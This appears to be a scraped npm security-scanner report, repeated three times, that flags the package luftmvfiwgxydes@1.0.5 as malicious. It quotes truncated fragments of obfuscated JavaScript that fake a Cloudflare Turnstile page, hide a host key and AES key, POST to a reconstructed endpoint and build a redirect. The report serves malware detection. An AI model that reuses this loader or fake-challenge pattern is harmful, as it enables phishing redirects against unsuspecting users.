luftmvfiwgxydes@1.0.5: Malicious npm security report (Block)

Loading npm security reports…

luftmvfiwgxydes@1.0.5: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged

182} L183: (function(_0x345f80,_0x22b198){const _0x35bcd3={_0x27b56c:0x16e,_0x3b4c61:0x10f,_0x4b47c4:0x470,_0x5734e4:0x42b,_0x19b95b:0x512,_0x4b99b6:0x1ca,_0x54d942:0x145,_0xe32ea8:0x1a3,_0x2...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

index.html clones a Cloudflare Just a moment Turnstile page and loads challenges.cloudflare.com.

index.htmlView on unpkg · L7

176<script> function onTurnstileComplete(token) { if (window.__challengeRedirect) { window.__challengeRedirect(); } }

High

Ai Review Evidence

index.html clones a Cloudflare Just a moment Turnstile page and loads challenges.cloudflare.com.

index.htmlView on unpkg · L176

183const hostKey='HIzWRqRfCM'+'W2EzuoX9a2'+_0x3fac8f(0x4e3,0x486,0x4d5,0x529)+_0x12a5a3(0x47d,0x4e1,0x493,0x485)+_0x12a5a3(0x45b,0x490,0x40f,0x3f2),aesKeyBase64=_0x12a5a3(0x492,0x503,0x4a6,0x51f)+_0x12a5a3(0x517,0x4e8,0x504,0x526)+'mRCbeXU/kb'+_0x12a5a3(0x414,0x3e4,0x431,0x40d)+_0x12a5a3(0x41d,0x4b9,0x41d,0x482);

High

Ai Review Evidence

A javascript-obfuscator IIFE hides hostKey, an AES key, and challenge HTML, then injects that layout.

index.htmlView on unpkg · L183

183=hostKey;const _0x2f3303=await fetch(_0xfd1f80[_0x2e14f6(0x17e,0x180,_0x396cee._0x37d45a,0x9e)],{'method':_0xfd1f80[_0xb3c00c(-_0x396cee._0x48f75,-_0x396cee._0x51d84a,-_0x396cee._0x24a8e6,-0xa7)],

High

Ai Review Evidence

After Turnstile, the script POSTs hostKey to a reconstructed https://ap endpoint, AES-CTR decrypts the reply, and builds a redirect URL.

index.htmlView on unpkg · L183

183'dkZJd':'https://ap'+_0x44a934(0x3ce,_0x26893c._0x2652ff,_0x26893c._0x22da35,_0x26893c._0x196423)

High

Ai Review Evidence

After Turnstile, the script POSTs hostKey to a reconstructed https://ap endpoint, AES-CTR decrypts the reply, and builds a redirect URL.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.5", "main": "index.html", "files": [ "index.html" ] }

High

Suspicious Dependency Evidence

Manifest is a random-looking name with no scripts or dependencies and publishes only index.html as main.

package.jsonView on unpkg · L1

Source & flagged code

8 flagged · loading source

index.htmlView file

182} L183: (function(_0x345f80,_0x22b198){const _0x35bcd3={_0x27b56c:0x16e,_0x3b4c61:0x10f,_0x4b47c4:0x470,_0x5734e4:0x42b,_0x19b95b:0x512,_0x4b99b6:0x1ca,_0x54d942:0x145,_0xe32ea8:0x1a3,_0x2...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

index.html clones a Cloudflare Just a moment Turnstile page and loads challenges.cloudflare.com.

index.htmlView on unpkg · L7

176<script> function onTurnstileComplete(token) { if (window.__challengeRedirect) { window.__challengeRedirect(); } }

High

Ai Review Evidence

index.html clones a Cloudflare Just a moment Turnstile page and loads challenges.cloudflare.com.

index.htmlView on unpkg · L176

High

Ai Review Evidence

A javascript-obfuscator IIFE hides hostKey, an AES key, and challenge HTML, then injects that layout.

index.htmlView on unpkg · L183

183=hostKey;const _0x2f3303=await fetch(_0xfd1f80[_0x2e14f6(0x17e,0x180,_0x396cee._0x37d45a,0x9e)],{'method':_0xfd1f80[_0xb3c00c(-_0x396cee._0x48f75,-_0x396cee._0x51d84a,-_0x396cee._0x24a8e6,-0xa7)],

High

Ai Review Evidence

After Turnstile, the script POSTs hostKey to a reconstructed https://ap endpoint, AES-CTR decrypts the reply, and builds a redirect URL.

index.htmlView on unpkg · L183

183'dkZJd':'https://ap'+_0x44a934(0x3ce,_0x26893c._0x2652ff,_0x26893c._0x22da35,_0x26893c._0x196423)

High

Ai Review Evidence

After Turnstile, the script POSTs hostKey to a reconstructed https://ap endpoint, AES-CTR decrypts the reply, and builds a redirect URL.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.5", "main": "index.html", "files": [ "index.html" ] }

High

Suspicious Dependency Evidence

Manifest is a random-looking name with no scripts or dependencies and publishes only index.html as main.

package.jsonView on unpkg · L1

Source & flagged code

8 flagged

index.htmlView file

182} L183: (function(_0x345f80,_0x22b198){const _0x35bcd3={_0x27b56c:0x16e,_0x3b4c61:0x10f,_0x4b47c4:0x470,_0x5734e4:0x42b,_0x19b95b:0x512,_0x4b99b6:0x1ca,_0x54d942:0x145,_0xe32ea8:0x1a3,_0x2...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

index.html clones a Cloudflare Just a moment Turnstile page and loads challenges.cloudflare.com.

index.htmlView on unpkg · L7

176<script> function onTurnstileComplete(token) { if (window.__challengeRedirect) { window.__challengeRedirect(); } }

High

Ai Review Evidence

index.html clones a Cloudflare Just a moment Turnstile page and loads challenges.cloudflare.com.

index.htmlView on unpkg · L176

High

Ai Review Evidence

A javascript-obfuscator IIFE hides hostKey, an AES key, and challenge HTML, then injects that layout.

index.htmlView on unpkg · L183

183=hostKey;const _0x2f3303=await fetch(_0xfd1f80[_0x2e14f6(0x17e,0x180,_0x396cee._0x37d45a,0x9e)],{'method':_0xfd1f80[_0xb3c00c(-_0x396cee._0x48f75,-_0x396cee._0x51d84a,-_0x396cee._0x24a8e6,-0xa7)],

High

Ai Review Evidence

After Turnstile, the script POSTs hostKey to a reconstructed https://ap endpoint, AES-CTR decrypts the reply, and builds a redirect URL.

index.htmlView on unpkg · L183

183'dkZJd':'https://ap'+_0x44a934(0x3ce,_0x26893c._0x2652ff,_0x26893c._0x22da35,_0x26893c._0x196423)

High

Ai Review Evidence

After Turnstile, the script POSTs hostKey to a reconstructed https://ap endpoint, AES-CTR decrypts the reply, and builds a redirect URL.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.5", "main": "index.html", "files": [ "index.html" ] }

High

Suspicious Dependency Evidence

Manifest is a random-looking name with no scripts or dependencies and publishes only index.html as main.

package.jsonView on unpkg · L1

luftmvfiwgxydes@1.0.5

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code